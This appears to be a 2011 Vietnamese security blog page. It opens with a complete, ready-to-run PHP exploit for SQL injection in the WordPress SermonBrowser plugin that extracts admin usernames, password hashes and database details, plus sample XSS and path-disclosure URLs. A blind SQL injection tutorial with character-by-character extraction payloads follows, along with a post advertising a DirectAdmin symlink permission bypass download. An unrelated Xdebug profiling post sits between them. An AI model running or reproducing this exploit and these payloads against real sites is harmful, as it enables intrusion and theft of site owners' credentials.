Trang

Thứ Tư, 27 tháng 4, 2011

WordPress SermonBrowser Plugin 0.43 SQL Injection


<?php
 if(!$argv[1])
die("
 
Usage   : php exploit.php [site]
Example : php exploit.php http://site.com/wp/
 
");
print_r("
 
# Tilte......: [ WordPress SermonBrowser Plugin 0.43 SQL Injection ]
# Author.....: [ Ma3sTr0-Dz ]
# Date.......: [ 25-o4-2o11 ]
# Location ..: [ ALGERIA ]
# HoMe ......: [ wWw.sEc4EvEr.CoM ]
# Download ..: [ http://www.4-14.org.uk/wordpress-plugins/sermon-browser ]
# Gr33tz ....: [ All Sec4ever Member'z ]
# Real Bug Founder : Lagripe-Dz
 
                      -==[ ExPloiT ]==-
                       
# SQL Inj : http://site/wp/?sermon_id=-1+union+select+version(),2--
# XSS     : http://site/wp/?download&file_name=<script>alert(0)</script>
# FPD     : http://site/wp/wp-content/plugins/sermon-browser/sermon.php
 
                       -==[ Start ]==-
 
");
 
$t=array("db_usr"=>"user()","db_ver"=>"version()","db_nam"=>"database()","usr_nm"=>"user_login","passwd"=>"user_pass");
 function text2hex($string) {
 $hex = '';
 $len = strlen($string) ;
 for ($i = 0; $i < $len; $i++) {
  $hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
 }
 return $hex;
}
 foreach($t as $r=>$y){
 
$x=@file_get_contents($argv[1]."?sermon_id=-1/**/UnIoN/**/SeLeCt/**/group_concat(0x".text2hex("<$r>").",$y,0x".text2hex("<$r>")."),2+from+wp_users+where+ID=1--");
 
preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);
 
echo $u = ($dz[1][0]) ? "[-] $r  : ".$dz[1][0]."\n" : "[-] $r  : Failed !\n";
 }
 
print_r("
                      -==[ Finished ]==-
");
 # By Lagripe-Dz .. !
# END .. !
 ?>

Thứ Ba, 19 tháng 4, 2011

Faster PHP: Profile Your Scripts With Xdebug

Posted Image

Xdebug is a powerful PHP extension that can help you track down bottlenecks in your PHP code. From the Xdebug profiling howto:

The profiler in Xdebug 2 outputs profiling information in the form of a cachegrind compatible file. This allows you to use the excellent KCacheGrind tool (Linux, KDE) to analyse your profiling data. Users of the Windows operating system can use WinCacheGrind.

Shown above is a screenshot of KCacheGrind, which is showing that the particular script is devoting a lot of its time to mysql_query calls. Once you know where your code is chewing up cycles, you’ll have a better idea of where to focus any optimization efforts, either by cleaning up ineffecient code and database queries, or by employing a suitable caching strategy.

Thứ Tư, 13 tháng 4, 2011

Blind SQL Injection Advanced

Public date : 2010/12/24
Dựa theo bài viết của : Kevin Spett




Nếu khai thác theo lỗi SQL injection thông thường ta khai thác qua các error message gửi về từ server .Tuy nhiên 1 số admin đã ngăn việc hiển thị các error message nhưng thật đáng tiếc như thế là ko đủ
Nếu như bạn ko nhận được các error message thì đừng lo vì rất có thể chúng ta vẫn khai thác thông tin được qua "blind" sql injection .

Phát hiện lỗi "blind sql injection":

1 URL như sau : http://www.company.com/pressRelease.jsp?pressID=5

và câu lệnh SQL được thực hiện sẽ là :

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5

để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:

http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1

và nếu database server thực hiện lệnh

SELECT title,description,releaseDate,body FROM pressReleases WHERE pressID=5 AND 1=1

và nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi rồi đấy .

Khai thác:

Bây giờ chúng ta sẽ đoán các thông tin của database bằng việc thực hiên các câu hỏi đúng sai với server

Ví dụ : ta sẽ hỏi server xem " có phải user hiện tại là dbo ko?" bằng cách :

http://www.company.com/pressRelease.jsp?pressID=5 AND USER_NAME()='dbo'

( USER_NAME() là 1 hàm của SQL Server trả về tên của user hiện tại )

Nếu user hiện tai đúng là 'dbo' thì chúng ta sẽ được trả về http://www.company.com/pressRelease.jsp?pressID=5 còn nếu ko thì sẽ ko có trang nào được trả về cả.

Hay phải ko các bạn

Bằng cách so sanh các câu hỏi nhỏ với các hàm ta có thể hỏi nhiều câu phức tạp hơn . Sau đây là ví dụ về cách lấy tên của 1 table ( từng chữ 1 )

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>109

Lệnh SELECT sẽ yêu cầu tên của table đầu tiên trong database

Hàm substring() sẽ trả về chữ đầu tiên trong kết quả của câu lện

Hàm lower() đơn giản chỉ là chuyển kí tự thành kiêu chữ thường, ko viết hoa.

Hàm ascii() sẽ trả về giá trị ASCII của kí tự đó

Nếu server ko báo lỗi gì thì chúng ta có thể biết rằng tên đầu tiên của table là một chữ sau chữ "m" ( vì trong bảng mã giá trị của chữ "m" là 109 )

tiếp theo :

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))>116

Nếu báo lỗi tức là ta biết được giá trị ASCII của kí tự đầu tiên này nằm trong khoảng từ chữ "n" đến chữ "t" ( giá trị của t là 116)

Cứ thế thu hẹp dần ta sẽ được giá trị của kí tự đầu tiên sẽ nằm trong khoảng "n" và "o" ( 110 và 111)

Tiếp theo:

http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1)))=111

Server ko báo lỗi mà trở về trang http://www.company.com/pressRelease.jsp?pressID=5 <--vậy là ta biết được kí tự đầu tiên của table là "o" Đoán tiếp kí tự thứ 2 ta làm như sau : http://www.company.com/pressRelease.jsp?pressID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1)))>109

(chú ý ta phải đổi đối số từ 1 sang 2 )

và rồi làm lại như thế , dần dân ta sẽ nhân được tên đầy đủ của table ( trong ví dụ này là "orders")


À còn đây là 1 chút về bảng mã ASCII cho nhưng bạn nào chưa biết :

1. Bảng mã ASCII :

Bộ kí tự ASCII gồm 256 kí tự được phân bố như sau:

+ 32 kí tự đầu là các kí tự điều khiển ko in được ví dụ như kí tự ENTER ( mã 13) , ký tự ESC ( mã 27)

+ các mã 32-47,58-64,91-96 và 123-127 là các kí tữ đặc biệt như dấu chấm, chấm phẩy , dấu ngoặc , móc , hỏi .....

+ các mã 48-57 là 10 chữ số

+ các mã 65-90 là các chữ cái hoa A->Z

+ các kí tự 97-122 là các chữ cái thường a->z

+ các mã ASSCII là các kí tự đồ họa

Cụ thể hơn bạn có thể viết 1 CT nhỏ bằng pascal , C ...... để liệt kê bảng mã ASCII cho mình

Thứ Ba, 12 tháng 4, 2011

Tut directadmin bypass view symlink

Public date : 12/04/2011
Người thực hiện : tranthoai


Bypass permission symlink
Link Download
PASS GIẢI NÉN: tranthoai



Tất cả các server của VN nói riêng và nc ngoài nói chung đều dính bug, mình đã thông báo cho directadmin.com và exploit-db.com fix lỗi các admin quản tri server ở vn nên tham khảo và fix bug gấp bug này có thể bypass 400 chmod , bug này exploit lâu rồi hôm nay mình quyết đinh pub cho anh em rồi dẹp nghề local luôn


chú ý là cái này là xài đc cho mọi version còn trên gg chỉ có DirectAdmin <= 1.33.6 Symlink Permission Bypass thôi nhé